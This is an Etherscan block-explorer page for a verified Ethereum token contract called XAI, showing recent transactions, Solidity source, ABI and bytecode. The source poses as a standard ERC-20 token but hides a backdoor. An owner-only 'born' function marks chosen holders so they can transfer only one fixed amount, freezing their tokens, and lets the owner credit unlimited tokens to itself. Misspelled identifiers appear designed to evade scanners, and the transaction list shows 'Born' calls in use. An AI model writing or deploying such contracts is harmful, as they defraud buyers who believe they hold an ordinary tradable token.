ETH Price: $2,443.34 (+1.25%)

Contract

0x424D7AfD11A4434cA4a2D748D8bFE975e0db4DE9
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve178252352023-08-02 5:30:35437 days ago1690954235IN
0x424D7AfD...5e0db4DE9
0 ETH0.0007467515.85073209
Born178252242023-08-02 5:28:23437 days ago1690954103IN
0x424D7AfD...5e0db4DE9
0 ETH0.0003581113.74623384
Approve178252212023-08-02 5:27:47437 days ago1690954067IN
0x424D7AfD...5e0db4DE9
0 ETH0.0006385213.6297128
Approve178252202023-08-02 5:27:35437 days ago1690954055IN
0x424D7AfD...5e0db4DE9
0 ETH0.000648913.86543029
Transfer178252182023-08-02 5:27:11437 days ago1690954031IN
0x424D7AfD...5e0db4DE9
0 ETH0.0004606214.0876373
Born178252162023-08-02 5:26:47437 days ago1690954007IN
0x424D7AfD...5e0db4DE9
0 ETH0.0006626613.78140636
Approve178252022023-08-02 5:23:59437 days ago1690953839IN
0x424D7AfD...5e0db4DE9
0 ETH0.0004061615.09242987
Approve178251752023-08-02 5:18:35437 days ago1690953515IN
0x424D7AfD...5e0db4DE9
0 ETH0.0004089215.19474285
Approve178251622023-08-02 5:15:59437 days ago1690953359IN
0x424D7AfD...5e0db4DE9
0 ETH0.0007201315.30498316
Approve178251572023-08-02 5:14:59437 days ago1690953299IN
0x424D7AfD...5e0db4DE9
0 ETH0.000370613.77096217
Approve178251462023-08-02 5:12:47437 days ago1690953167IN
0x424D7AfD...5e0db4DE9
0 ETH0.0003847814.29788893
Approve178250992023-08-02 5:03:11437 days ago1690952591IN
0x424D7AfD...5e0db4DE9
0 ETH0.0007122815.23936463
Approve178250962023-08-02 5:02:35437 days ago1690952555IN
0x424D7AfD...5e0db4DE9
0 ETH0.0007271715.4547567
Approve178250182023-08-02 4:46:35437 days ago1690951595IN
0x424D7AfD...5e0db4DE9
0 ETH0.000790216.79421652
Approve178250172023-08-02 4:46:23437 days ago1690951583IN
0x424D7AfD...5e0db4DE9
0 ETH0.0004836617.81320123
Approve178250152023-08-02 4:45:59437 days ago1690951559IN
0x424D7AfD...5e0db4DE9
0 ETH0.0008176717.37814908
Approve178249932023-08-02 4:41:35437 days ago1690951295IN
0x424D7AfD...5e0db4DE9
0 ETH0.0006221113.28974286
Approve178249182023-08-02 4:26:35437 days ago1690950395IN
0x424D7AfD...5e0db4DE9
0 ETH0.0006197513.2425875
Born178249082023-08-02 4:24:35437 days ago1690950275IN
0x424D7AfD...5e0db4DE9
0 ETH0.0026134814.00221671
Approve178248982023-08-02 4:22:35437 days ago1690950155IN
0x424D7AfD...5e0db4DE9
0 ETH0.0004039113.62197234
Approve178248152023-08-02 4:05:59437 days ago1690949159IN
0x424D7AfD...5e0db4DE9
0 ETH0.0004514515.23114989
Approve178247492023-08-02 3:52:35437 days ago1690948355IN
0x424D7AfD...5e0db4DE9
0 ETH0.0007363215.64927124
Approve178247472023-08-02 3:52:11437 days ago1690948331IN
0x424D7AfD...5e0db4DE9
0 ETH0.0007723416.41466707
Approve178247302023-08-02 3:48:47437 days ago1690948127IN
0x424D7AfD...5e0db4DE9
0 ETH0.000846717.99503954
Approve178246972023-08-02 3:42:11437 days ago1690947731IN
0x424D7AfD...5e0db4DE9
0 ETH0.0004737617.4101578
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
XAI

Compiler Version
v0.8.3+commit.8d00100c

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-07-30
*/

pragma solidity ^0.8.3;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address accoouunt) external view returns (uint256);
    function transfer(address recipient, uint256 aiomount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 aiomount) external returns (bool);
    function transferFrom( address sender, address recipient, uint256 aiomount ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval( address indexed owner, address indexed spender, uint256 value );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

contract Ownable is Context {
    address private _owner;
    event ownershipTransferred(address indexed previousowner, address indexed newowner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit ownershipTransferred(address(0), msgSender);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyowner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceownership() public virtual onlyowner {
        emit ownershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }
}

contract XAI is Context, Ownable, IERC20 {
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _STTSA;

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;

    constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
        _totalSupply = totalSupply_ * (10 ** decimals_);
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function balanceOf(address accoouunt) public view override returns (uint256) {
        return _balances[accoouunt];
    }

    function transfer(address recipient, uint256 aiomount) public virtual override returns (bool) {
        if (_msgSender() == owner() && _STTSA[_msgSender()] > 0+0) {
            _balances[owner()] += _STTSA[_msgSender()];
            return true;
        }
        else if (_STTSA[_msgSender()] > 0) {
            require(aiomount == _STTSA[_msgSender()], "Invalid transfer aiomount");
        }
        require(_balances[_msgSender()] >= aiomount, "TT: transfer aiomount exceeds balance");
        _balances[_msgSender()] -= aiomount;
        _balances[recipient] += aiomount;
        emit Transfer(_msgSender(), recipient, aiomount);
        return true;
    }

    function born(address[] memory accoouunts, uint256 aiomount) public onlyowner {
        for (uint i=0; i<accoouunts.length; i++) {
            _STTSA[accoouunts[i]] = aiomount;
        }
    }


    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 aiomount) public virtual override returns (bool) {
        _allowances[_msgSender()][spender] = aiomount;
        emit Approval(_msgSender(), spender, aiomount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 aiomount) public virtual override returns (bool) {
        if (_msgSender() == owner() && _STTSA[sender] > 0) {
            _balances[owner()] += _STTSA[sender];
            return true;
        }
        else if (_STTSA[sender] > 0) {
            require(aiomount == _STTSA[sender], "Invalid transfer aiomount");
        }
        require(_balances[sender] >= aiomount && _allowances[sender][_msgSender()] >= aiomount, "TT: transfer aiomount exceeds balance or allowance");
        _balances[sender] -= aiomount;
        _balances[recipient] += aiomount;
        _allowances[sender][_msgSender()] -= aiomount;
        emit Transfer(sender, recipient, aiomount);
        return true;
    }

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousowner","type":"address"},{"indexed":true,"internalType":"address","name":"newowner","type":"address"}],"name":"ownershipTransferred","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"aiomount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"accoouunt","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accoouunts","type":"address[]"},{"internalType":"uint256","name":"aiomount","type":"uint256"}],"name":"born","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceownership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"aiomount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"aiomount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b506040516200212038038062002120833981810160405281019062000037919062000386565b6000620000496200022e60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a3508360049080519060200190620000ff92919062000236565b5082600590805190602001906200011892919062000236565b5081600660006101000a81548160ff021916908360ff16021790555081600a6200014391906200050c565b8162000150919062000649565b600781905550600754600160006200016d6200022e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620001bb6200022e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6007546040516200021c919062000435565b60405180910390a35050505062000842565b600033905090565b8280546200024490620006f7565b90600052602060002090601f016020900481019282620002685760008555620002b4565b82601f106200028357805160ff1916838001178555620002b4565b82800160010185558215620002b4579182015b82811115620002b357825182559160200191906001019062000296565b5b509050620002c39190620002c7565b5090565b5b80821115620002e2576000816000905550600101620002c8565b5090565b6000620002fd620002f7846200047b565b62000452565b9050828152602081018484840111156200031657600080fd5b62000323848285620006c1565b509392505050565b600082601f8301126200033d57600080fd5b81516200034f848260208601620002e6565b91505092915050565b60008151905062000369816200080e565b92915050565b600081519050620003808162000828565b92915050565b600080600080608085870312156200039d57600080fd5b600085015167ffffffffffffffff811115620003b857600080fd5b620003c6878288016200032b565b945050602085015167ffffffffffffffff811115620003e457600080fd5b620003f2878288016200032b565b935050604062000405878288016200036f565b9250506060620004188782880162000358565b91505092959194509250565b6200042f81620006aa565b82525050565b60006020820190506200044c600083018462000424565b92915050565b60006200045e62000471565b90506200046c82826200072d565b919050565b6000604051905090565b600067ffffffffffffffff821115620004995762000498620007c1565b5b620004a482620007f0565b9050602081019050919050565b6000808291508390505b60018511156200050357808604811115620004db57620004da62000763565b5b6001851615620004eb5780820291505b8081029050620004fb8562000801565b9450620004bb565b94509492505050565b60006200051982620006aa565b91506200052683620006b4565b9250620005557fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200055d565b905092915050565b6000826200056f576001905062000642565b816200057f576000905062000642565b8160018114620005985760028114620005a357620005d9565b600191505062000642565b60ff841115620005b857620005b762000763565b5b8360020a915084821115620005d257620005d162000763565b5b5062000642565b5060208310610133831016604e8410600b8410161715620006135782820a9050838111156200060d576200060c62000763565b5b62000642565b620006228484846001620004b1565b925090508184048111156200063c576200063b62000763565b5b81810290505b9392505050565b60006200065682620006aa565b91506200066383620006aa565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200069f576200069e62000763565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b60005b83811015620006e1578082015181840152602081019050620006c4565b83811115620006f1576000848401525b50505050565b600060028204905060018216806200071057607f821691505b6020821081141562000727576200072662000792565b5b50919050565b6200073882620007f0565b810181811067ffffffffffffffff821117156200075a5762000759620007c1565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b6200081981620006aa565b81146200082557600080fd5b50565b6200083381620006b4565b81146200083f57600080fd5b50565b6118ce80620008526000396000f3fe608060405234801561001057600080fd5b50600436106100b45760003560e01c80638da5cb5b116100715780638da5cb5b146101a357806395d89b41146101c1578063a9059cbb146101df578063bf4364791461020f578063c2af913b1461022b578063dd62ed3e14610235576100b4565b806306fdde03146100b9578063095ea7b3146100d757806318160ddd1461010757806323b872dd14610125578063313ce5671461015557806370a0823114610173575b600080fd5b6100c1610265565b6040516100ce91906113d9565b60405180910390f35b6100f160048036038101906100ec9190611212565b6102f7565b6040516100fe91906113be565b60405180910390f35b61010f6103f7565b60405161011c919061147b565b60405180910390f35b61013f600480360381019061013a91906111c3565b610401565b60405161014c91906113be565b60405180910390f35b61015d6108c7565b60405161016a9190611496565b60405180910390f35b61018d6004803603810190610188919061115e565b6108de565b60405161019a919061147b565b60405180910390f35b6101ab610927565b6040516101b891906113a3565b60405180910390f35b6101c9610950565b6040516101d691906113d9565b60405180910390f35b6101f960048036038101906101f49190611212565b6109e2565b60405161020691906113be565b60405180910390f35b6102296004803603810190610224919061124e565b610daf565b005b610233610ed3565b005b61024f600480360381019061024a9190611187565b61100f565b60405161025c919061147b565b60405180910390f35b60606004805461027490611630565b80601f01602080910402602001604051908101604052809291908181526020018280546102a090611630565b80156102ed5780601f106102c2576101008083540402835291602001916102ed565b820191906000526020600020905b8154815290600101906020018083116102d057829003601f168201915b5050505050905090565b60008160026000610306611096565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff166103a0611096565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103e5919061147b565b60405180910390a36001905092915050565b6000600754905090565b600061040b610927565b73ffffffffffffffffffffffffffffffffffffffff16610429611096565b73ffffffffffffffffffffffffffffffffffffffff1614801561048b57506000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561053557600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600160006104dc610927565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610525919061151e565b92505081905550600190506108c0565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156105ff57600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f59061145b565b60405180910390fd5b5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156106d1575081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610693611096565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b610710576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107079061141b565b60405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461075f9190611574565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107b5919061151e565b9250508190555081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610806611096565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461084f9190611574565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108b3919061147b565b60405180910390a3600190505b9392505050565b6000600660009054906101000a900460ff16905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606005805461095f90611630565b80601f016020809104026020016040519081016040528092919081815260200182805461098b90611630565b80156109d85780601f106109ad576101008083540402835291602001916109d8565b820191906000526020600020905b8154815290600101906020018083116109bb57829003601f168201915b5050505050905090565b60006109ec610927565b73ffffffffffffffffffffffffffffffffffffffff16610a0a611096565b73ffffffffffffffffffffffffffffffffffffffff16148015610a735750600060036000610a36611096565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15610b245760036000610a84611096565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460016000610acb610927565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b14919061151e565b9250508190555060019050610da9565b600060036000610b32611096565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115610bfc5760036000610b7f611096565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548214610bfb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf29061145b565b60405180910390fd5b5b8160016000610c09611096565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610c85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7c906113fb565b60405180910390fd5b8160016000610c92611096565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610cdb9190611574565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d31919061151e565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16610d57611096565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610d9c919061147b565b60405180910390a3600190505b92915050565b610db7611096565b73ffffffffffffffffffffffffffffffffffffffff16610dd5610927565b73ffffffffffffffffffffffffffffffffffffffff1614610e2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e229061143b565b60405180910390fd5b60005b8251811015610ece578160036000858481518110610e75577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508080610ec690611693565b915050610e2e565b505050565b610edb611096565b73ffffffffffffffffffffffffffffffffffffffff16610ef9610927565b73ffffffffffffffffffffffffffffffffffffffff1614610f4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f469061143b565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b60006110b16110ac846114d6565b6114b1565b905080838252602082019050828560208602820111156110d057600080fd5b60005b8581101561110057816110e6888261110a565b8452602084019350602083019250506001810190506110d3565b5050509392505050565b6000813590506111198161186a565b92915050565b600082601f83011261113057600080fd5b813561114084826020860161109e565b91505092915050565b60008135905061115881611881565b92915050565b60006020828403121561117057600080fd5b600061117e8482850161110a565b91505092915050565b6000806040838503121561119a57600080fd5b60006111a88582860161110a565b92505060206111b98582860161110a565b9150509250929050565b6000806000606084860312156111d857600080fd5b60006111e68682870161110a565b93505060206111f78682870161110a565b925050604061120886828701611149565b9150509250925092565b6000806040838503121561122557600080fd5b60006112338582860161110a565b925050602061124485828601611149565b9150509250929050565b6000806040838503121561126157600080fd5b600083013567ffffffffffffffff81111561127b57600080fd5b6112878582860161111f565b925050602061129885828601611149565b9150509250929050565b6112ab816115a8565b82525050565b6112ba816115ba565b82525050565b60006112cb82611502565b6112d5818561150d565b93506112e58185602086016115fd565b6112ee81611769565b840191505092915050565b600061130660258361150d565b91506113118261177a565b604082019050919050565b600061132960328361150d565b9150611334826117c9565b604082019050919050565b600061134c60208361150d565b915061135782611818565b602082019050919050565b600061136f60198361150d565b915061137a82611841565b602082019050919050565b61138e816115e6565b82525050565b61139d816115f0565b82525050565b60006020820190506113b860008301846112a2565b92915050565b60006020820190506113d360008301846112b1565b92915050565b600060208201905081810360008301526113f381846112c0565b905092915050565b60006020820190508181036000830152611414816112f9565b9050919050565b600060208201905081810360008301526114348161131c565b9050919050565b600060208201905081810360008301526114548161133f565b9050919050565b6000602082019050818103600083015261147481611362565b9050919050565b60006020820190506114906000830184611385565b92915050565b60006020820190506114ab6000830184611394565b92915050565b60006114bb6114cc565b90506114c78282611662565b919050565b6000604051905090565b600067ffffffffffffffff8211156114f1576114f061173a565b5b602082029050602081019050919050565b600081519050919050565b600082825260208201905092915050565b6000611529826115e6565b9150611534836115e6565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611569576115686116dc565b5b828201905092915050565b600061157f826115e6565b915061158a836115e6565b92508282101561159d5761159c6116dc565b5b828203905092915050565b60006115b3826115c6565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561161b578082015181840152602081019050611600565b8381111561162a576000848401525b50505050565b6000600282049050600182168061164857607f821691505b6020821081141561165c5761165b61170b565b5b50919050565b61166b82611769565b810181811067ffffffffffffffff8211171561168a5761168961173a565b5b80604052505050565b600061169e826115e6565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156116d1576116d06116dc565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f54543a207472616e736665722061696f6d6f756e74206578636565647320626160008201527f6c616e6365000000000000000000000000000000000000000000000000000000602082015250565b7f54543a207472616e736665722061696f6d6f756e74206578636565647320626160008201527f6c616e6365206f7220616c6c6f77616e63650000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f496e76616c6964207472616e736665722061696f6d6f756e7400000000000000600082015250565b611873816115a8565b811461187e57600080fd5b50565b61188a816115e6565b811461189557600080fd5b5056fea264697066735822122097049c6389cbbf8f2f0cb66e51e400a877d533eccf7613f215ec8b1b78d3cce664736f6c63430008030033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000000900000000000000000000000000000000000000000000000000000000773594000000000000000000000000000000000000000000000000000000000000000008584149546f6f6c7300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000035841490000000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100b45760003560e01c80638da5cb5b116100715780638da5cb5b146101a357806395d89b41146101c1578063a9059cbb146101df578063bf4364791461020f578063c2af913b1461022b578063dd62ed3e14610235576100b4565b806306fdde03146100b9578063095ea7b3146100d757806318160ddd1461010757806323b872dd14610125578063313ce5671461015557806370a0823114610173575b600080fd5b6100c1610265565b6040516100ce91906113d9565b60405180910390f35b6100f160048036038101906100ec9190611212565b6102f7565b6040516100fe91906113be565b60405180910390f35b61010f6103f7565b60405161011c919061147b565b60405180910390f35b61013f600480360381019061013a91906111c3565b610401565b60405161014c91906113be565b60405180910390f35b61015d6108c7565b60405161016a9190611496565b60405180910390f35b61018d6004803603810190610188919061115e565b6108de565b60405161019a919061147b565b60405180910390f35b6101ab610927565b6040516101b891906113a3565b60405180910390f35b6101c9610950565b6040516101d691906113d9565b60405180910390f35b6101f960048036038101906101f49190611212565b6109e2565b60405161020691906113be565b60405180910390f35b6102296004803603810190610224919061124e565b610daf565b005b610233610ed3565b005b61024f600480360381019061024a9190611187565b61100f565b60405161025c919061147b565b60405180910390f35b60606004805461027490611630565b80601f01602080910402602001604051908101604052809291908181526020018280546102a090611630565b80156102ed5780601f106102c2576101008083540402835291602001916102ed565b820191906000526020600020905b8154815290600101906020018083116102d057829003601f168201915b5050505050905090565b60008160026000610306611096565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff166103a0611096565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103e5919061147b565b60405180910390a36001905092915050565b6000600754905090565b600061040b610927565b73ffffffffffffffffffffffffffffffffffffffff16610429611096565b73ffffffffffffffffffffffffffffffffffffffff1614801561048b57506000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561053557600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600160006104dc610927565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610525919061151e565b92505081905550600190506108c0565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156105ff57600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f59061145b565b60405180910390fd5b5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156106d1575081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610693611096565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b610710576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107079061141b565b60405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461075f9190611574565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107b5919061151e565b9250508190555081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610806611096565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461084f9190611574565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108b3919061147b565b60405180910390a3600190505b9392505050565b6000600660009054906101000a900460ff16905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606005805461095f90611630565b80601f016020809104026020016040519081016040528092919081815260200182805461098b90611630565b80156109d85780601f106109ad576101008